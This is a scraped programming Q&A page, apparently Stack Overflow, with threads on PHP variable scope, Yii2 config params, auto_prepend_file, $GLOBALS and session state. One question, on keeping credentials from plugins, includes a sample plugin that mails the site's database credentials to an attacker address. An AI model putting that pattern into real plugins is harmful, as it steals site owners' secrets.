Questions about scope in PHP - from a Java Programmer's Perspective - php

I'm still fairly new to PHP and so I'm attempting to understand scope concepts within PHP web applications.
In the Java world a Java web app - using Java Server Pages (JSP) and upward - will allow a Java Bean to have the following levels of scope:
Page
Request
Session
Application
Attempting to map these to PHP's scoping capabilities:
Page: not really but objects that are local to a call are considered 'gone' after the function call is made so it's sort of like a page scope
Request: made by using the "$_REQUEST super global (not sure where this goes ... Cookies? Hidden fields? URL parameters?)
Session: using PHP's $_SESSION super global (where some of the documentation and forum feedback states that this is not a great place to put sensitive information for security reasons)
Application: using PHP's APC (a Stack Overflow link)
Am I totally out to lunch or are these reasonably similar? I know that one major difference is PHP's ["Shared Nothing"][5] architecture as compared to Java's which is to allow for sharing.
Any advice/guidance/sobering corrections most welcome.

You're on the right track. PHP is indeed Share-Nothing.
In a web context, a php application runs, in it's entirety, once for each HTTP request. This means for every HTTP request the interpreter reads, parses and executes the script (this is simplified - using an opcode cache like APC removes the reading/parsing overhead).
PHP feeds input to the script in the form of superglobals, such as $_REQUEST and $_SESSION. Superglobals are different from regular global variables in that they're automatically available in every scope, so there's no need to use the global keyword.
Any data that persist between requests need to be stored externally. To share data across requests to maintain state for a user, you typically use $_SESSION, which by default is serialized and written to files on disk (but can be configured to use a memory cache or database). Data that are to be shared between sessions (which I suppose is similar to the Application scope in the JSP world) need to be stashed somewhere external. You can use a memory cache like APC or memcache, or write flat files to disk, or stick stuff in a database, or use any other scheme you can come up with. At the end of the day, there's nothing built-in.
Aside from superglobals, variable scope is fairly boring. By default, variables live in the scope in which they're created.
To reference a global variable in a non-global scope (ie: inside a function), you need to import the symbol into the local scope using the global keyword. PHP works this way to make it harder to accidentally clobber global variables.
This stuff, and more, is covered pretty well in the manual.

You should probably look at this:
http://php.net/manual/en/language.variables.scope.php
You've got local and global scope, superglobals, static variables. And that page explains how those each work.

Related

Yii2: Config params vs. const/define

When should I use what?
I have the option to define constants in the index.php entry script file like it is recommended in Yii2 guide: constants. Or I could use the params in the configuration - explained in YII2 guide: params. Both are per application and not really global.
Currently, it seems to me that params are a bit less comfortable if I want to combine values like this:
define('SOME_URL', 'http://some.url');
define('SOME_SPECIALIZED_URL', SOME_URL . '/specialized');
Besides, accessing is bit more code (Yii::$app->params['something']) compared to constants.
So when should or could I use what?
Small update: in PHP 7 define() supports arrays as well, so the whole params structure can be configured as a constant. Probably better supported by IDEs.
I tend to use the Yii application parameters. The main reason for this is the values held in these kind of parameters tend to change depending on the environment that the code is run in. So I will have a build system that runs (I use Phing) and pulls in settings from a non-version controlled file such as build.properties.
So any dev database settings, dev domain settings, api sandbox addresses etc will be loaded in in my development environment and the correct production values will be used when a build is run on a live server.
If you were settings these values in some kind of php file, then tracking with version control becomes problematic because each time you build in your dev environment changes would be made to your index.php file. Someone might even end up committing these changes in by mistake.
So in summary, I would say if they are true constants - the same in any environment in which the code runs - they maybe a constant is fine. If these values might change, depending on where the code is run, then my preference is to place them in params and let your build system load them from a non-version controlled file.
The main disadvantage (and advantage at the same time) of constants is that they're... constant. Once you set it, you can't change it. This is the only thing that should matter here. You should use constants for values that should never change during execution, and params for everything else.
Constants may be a real PITA when you start writing tests for your app. It will show you that many things that you considered as constant are not really constant. At this point params are more flexible - you can easily change them or adjust at configuration level using merging of configuration arrays. Using constants may drive you into a trap of unconfigurable application that cannot be installed on different environment without modification of hardcoded constant.
Besides, accessing is bit more code (Yii::$app->params['something']) compared to constants.
This is completely irrelevant. As a programmer you spend less than 5% of your time on actually writing a code. Additional 10 keystrokes will do not make any difference. You should always think about it in terms of readability. You write code once and read it hundreds of times, so it is much more important how much time you will need to read and understand code than the time you spent on writing it. And using known conventions (and Yii::$app->params is one of them) makes your code easier to understand, especially for other programmers.
But if you really want to write less code, you can always create a wrapper function for short access to params.
function p($name) {
return Yii::$app->params[$name];
}
echo p('my-param');

is this the proper use of auto_prepend_file

Looking at building my first PHP application from the ground up. So pardon the noob question.
Is it proper to use auto_prepend_file to manage common variables like a default db connection or run session_start() or is there a more favorable way to define "application" variables and add session management to every page?
I'm asking because I came across a warning in netbeans when using a variable defined in an include. Searching google I saw a few posts stating that defining the variables in an include was bad practice; so what's the good practice in PHP?
Thanks
Most modern php application layouts do not have the required resources loaded in the code.
Instead most often there is an autloader that parses the requested resource (class name) and loads the correct file. Then most things are encapsulated in objects and classes.
The most common standard now is PSR-0
Configs are mostly stored in config files of various formats, like xml. Then there is often an object that is used to read those configs. From this object the configuration is then obtained to be used in certain places like database connections.
Also those things that get executed are mostly not executed in the code but rather execute themselves by attaching themselves to certain points in a program.
Most php frameworks have a thing called "hooks" or "events". Basically it's nothing else but a simple list with event names and for each entry a list of functions that should be executed.
When some part of the code "fires" it uses a helper class that walks through the entries of the list and executes those as well.
You ask yourself, can't you have loops there? The simple answer is, yes.
The whole idea behind all this stuff is that you have to change no existing code anywhere if you want to bring new code into your application.
Is that good practice? I honestly don't know.
If a project exceeds a certain size and multiple persons are programming on it, some standard may be necessary. And the way not to modify existing code has proven good in practice.
Regarding auto_prepend_file, that is something that I would not do.
I may do it if I have no other way. For example, if I want to execute some code that protects my application from ddos or security injections. And I just do not want to mess with the application itself.
But if I design something from the start, I would not do it.
Why? Maybe I want to switch to a new webserver, or even execute my program in the command line. Then I have a problem if I defined my auto prepending in apache...
Or maybe I have some code where I do not want that at all? Just one file within my application where I just do not want it because I do not need it and it takes up resources or is a security risk?
I often write an application where I have for example the database username and password directly in the function that establishes the link.
Why? Why not? Because I do not want to have it available on a global scale. If it's in the function code, its harder for other, possibly insecure code, to access it.
The very most common mean is to have a config file and just require it somewhere in your application.
Also most modern applications do not have different php files that get loaded by the webserver, so there is no need for having the same code at multiple places.
Instead most modern applications have a single php file (mostly index.php) that serves as a so called "bootstrap" file. The webserver rewrites every request instead of the requests to static resources like images to there, and everything else, like deciding what content to show when looking at the requested url, is handled in the application.

Protecting variables from stealing in php

I have a question which is bounching in my mind since a long long time.
I'm on a CMS project and I really don't know how to do this:
I want this cms to be mod-able by using a plugin system, nothing difficult until now.
Well, I now have this question how can i protect a variable/constant like mysql password of the admininstrator user?
For example, in the file settings.php i have
$mysql = array("user" => "admin"...);
How can I make a class not to read it?
A simple class (plugin) could do
class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}
A simple plugin, in this way, can steal the user's sensible datas. How can i fix this ?
You can't... Plugins can execute code and you can't control that code.
You can however approve one-by-one the plugin, to avoid potentitial issue.
You can't really do this in PHP. You can put the varible in an object, make it private, but using Reflection, other code can get it as well. Hell, even if it couldn't, there are still ways to get object's internals when you shouldn't, like var_dump, debug_zval_dump, and more.
I would suggest either:
discard the password after you connect to the database (and load modules after you connect)
store it somewhere else than memory (a config file), but that doesn't solve anything, since the plugin can still access that config file
give up and say "modules are trusted" -- that's probably what all CMS do
some more weird method - sandbox modules, run the as separate process with dropped unix privileges, virtualize them... I guess any of this is not practically useful
Generally, when your code runs in some context (like in a PHP script) and you want to allow some module or plug-in to run in the same context, there is no way to hide anything. The plugin will have access to the same memory (all the variables), all open resources (database connections) and it will basically be indistinguishable from any other code in that context. The same applies to many other contexts, e.g. a native process running in an OS. Of course you can make it "harder" to get some variable or resource, but you can never ensure it can't be accessed. Unless you run the other code in a different context (other process, virtualization, ...).
Although you can try changing the scope of $mysql to some local scope - getting the data by calling a function like this:
function mySafeBox() {
return $mysql;
}
now, the plugin code won't be able to access it from $_GLOBALS, but there's no point in doing so...since you ARE relying on the plugin by using it...this way, you won't ever find a good 'solution' to this problem, which never existed
PHP offers no facility for internal security boundaries. Most languages are like this; an exception would be Java.
So if you want to build a trust boundary in a PHP script you would have to do it via OS-level privilege separation mechanisms: spawn a process running under a separate user principal with lower privileges, and use a pipe to communicate between that and the main trusted app. This would require a load of architectural rework that doesn't fit within the usual PHP invocation model.

PHP $GLOBALS Suggestion

I noticed Interspire Shopping Cart initializes a lot of it's classes to a PHP's $GLOBALS variable. Is there any performance or security issues when doing this?
Below is a fake file but written similar to that of Interspire Shopping Cart's.
<?php
// account.php
$GLOBALS['USER_ACCOUNT'] = new USER_ACCOUNT();
$GLOBALS['USER_ACCOUNT']->createPage(); //creating the page
?>
I have noticed that within the process of creating the page (see above) other files that get included will need access to the $GLOBALS['USER_ACCOUNT']. So this class instance will be needed by others later down the line.
Is there any performance or security issues when doing this?
No, but it is a bad practice. Storing data in the global scope can be a sign of bad design. Excessive globals are a "code smell," but I'm not getting that from this specific use.
As mentioned in the comments, they seem to be abusing globals instead of implementing the Registry pattern, which is designed to allow for exactly this type of behavior without contaminating the global scope.
Many other languages don't actually have a global scope for variables, meaning that they'd have to use Registry (or something like it) instead. PHP just happens to make it easy to do the wrong thing.
Using a Registry rather than globals also can make it easier to perform automated testing on the code.

Global/session scoped values in PHP

Is there a standard way of dealing with globally scoped variables in PHP? Session scoped?
From the research I've done, it looks like the options are mostly add-ons or external. APC might work, but would be limited to a single PHP instance and not so useful for a farm of servers. Memcached seems like it would work, but I was hoping to find something within PHP.
Does its stateless approach keep there from being a standard method for handling this?
A persistent layar is the only way to go with php. Either file based solution or database.
php natively doesn't provide any mechanism to do application scope variable.
You can do session variables with $_SESSION.

Categories